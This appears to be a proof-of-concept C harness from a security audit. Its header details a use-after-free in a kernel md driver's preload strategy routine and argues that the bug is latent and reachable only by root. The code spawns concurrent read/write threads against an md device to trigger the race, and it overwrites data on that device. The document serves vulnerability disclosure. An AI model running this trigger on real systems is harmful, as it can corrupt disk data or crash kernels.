/*
 * DF-2476 PoC — concurrent I/O harness against an md(4) device.
 *
 * Bug (sys/dev/disk/md/md.c mdstrategy_preload, :345-400):
 *   mdstrategy_preload() sets the local `struct buf *bp` exactly ONCE from
 *   the initial ap->a_bio (:349) and never refreshes it inside the while(1)
 *   service loop.  Every iteration after the first reuses the ORIGINAL bp
 *   while `bio`/`bio_offset` come from a *different* bio dequeued via
 *   bioq_takefirst() (:372):
 *
 *       345  mdstrategy_preload(ap) {
 *       349      struct buf *bp = bio->bio_buf;     // set ONCE, never refreshed
 *       371      while (1) {
 *       372          bio = bioq_takefirst(&sc->bio_queue);  // new bio
 *       379          switch (bp->b_cmd) { ... }              // STALE bp
 *       383          bcopy(sc->pl_ptr + bio->bio_offset,
 *       384                 bp->b_data, bp->b_bcount);        // STALE bp
 *       395          biodone(bio);
 *
 *   The sibling mdstrategy_malloc() does it correctly:
 *       239      bp = bio->bio_buf;   // refreshed each iteration
 *
 *   When 2+ bios accumulate in sc->bio_queue (concurrent I/O while
 *   sc->busy is set), iteration >=2 dereferences the first request's bp
 *   AFTER biodone() has been called on it.  physio may have already freed /
 *   returned that buf, so bp is a dangling pointer -> use-after-free.  Even
 *   before the free lands, the I/O is mis-targeted: bio2's offset is used
 *   with bio1's b_data/b_bcount/b_cmd (data corruption / wrong-buffer).
 *
 * REACHABILITY / why this is a LATENT finding on the audit guest:
 *   - mdcreate_preload() (:437) is called ONLY from md_drvinit() (:501) at
 *     module load (boot).  It consumes loader-preloaded images of type
 *     "md_image"/"mfs_root" (preload_search_next_name, :513).  There is NO
 *     runtime ioctl to create a preload md: mdioctl() (:162) is a stub
 *     returning ENOIOCTL, and mdconfig is not even installed on the guest.
 *   - Therefore an md device of type MD_PRELOAD exists ONLY when the boot
 *     loader preloaded an image.  On the audit guest no image is preloaded:
 *     dmesg shows "md0: Malloc disk" (mdcreate_malloc, :530), so md0 routes
 *     through mdstrategy (the correct malloc variant) and NEVER enters
 *     mdstrategy_preload.
 *   - mdstrategy_preload is thus dead code at runtime on this guest.  To
 *     exercise it one must (a) be root, (b) reboot with a loader-preloaded
 *     md image, and (c) drive concurrent I/O at the resulting device.  This
 *     is a root->kernel path with no unprivileged->root escalation.
 *
 * WHAT THIS HARNESS DOES:
 *   Spawns N threads issuing overlapping read/write I/O at /dev/md<N>.  On a
 *   PRELOAD md device this races bios into sc->bio_queue and trips the stale
 *   bp UAF.  On the audit guest (md0 = Malloc disk) it instead exercises the
 *   CORRECT mdstrategy_malloc path and must complete cleanly with no panic,
 *   demonstrating that the buggy path is not the one in use.
 *
 * Build:  cc -o poc poc.c -lpthread
 * Run (root, on a preload md to trigger; on md0 to show no-op): ./poc /dev/md0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int g_fd;
static volatile int g_stop;

static void *
worker(void *arg)
{
	long idx = (long)arg;
	unsigned char buf[512];
	off_t off = (idx * 97) % 32 * 512;   /* spread across first 16 KiB */

	memset(buf, (int)(idx + 1), sizeof(buf));
	for (int i = 0; i < 200 && !g_stop; i++) {
		if (pwrite(g_fd, buf, sizeof(buf), off) != sizeof(buf))
			perror("pwrite");
		if (pread(g_fd, buf, sizeof(buf), off) != sizeof(buf))
			perror("pread");
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/md0";
	int nthread = (argc > 2) ? atoi(argv[2]) : 8;
	pthread_t th[64];
	off_t mediasize = 0;
	long i;

	g_fd = open(dev, O_RDWR);
	if (g_fd < 0) { perror("open"); return 2; }
#ifdef DIOCGMEDIASIZE
	if (ioctl(g_fd, DIOCGMEDIASIZE, &mediasize) == 0)
		printf("[*] %s media size = %lld bytes\n", dev, (long long)mediasize);
#endif
	printf("[*] spawning %d concurrent I/O threads on %s\n", nthread, dev);

	for (i = 0; i < nthread; i++)
		pthread_create(&th[i], NULL, worker, (void *)i);
	for (i = 0; i < nthread; i++)
		pthread_join(th[i], NULL);

	printf("[+] all threads completed; device path returned cleanly\n");
	close(g_fd);
	return 0;
}
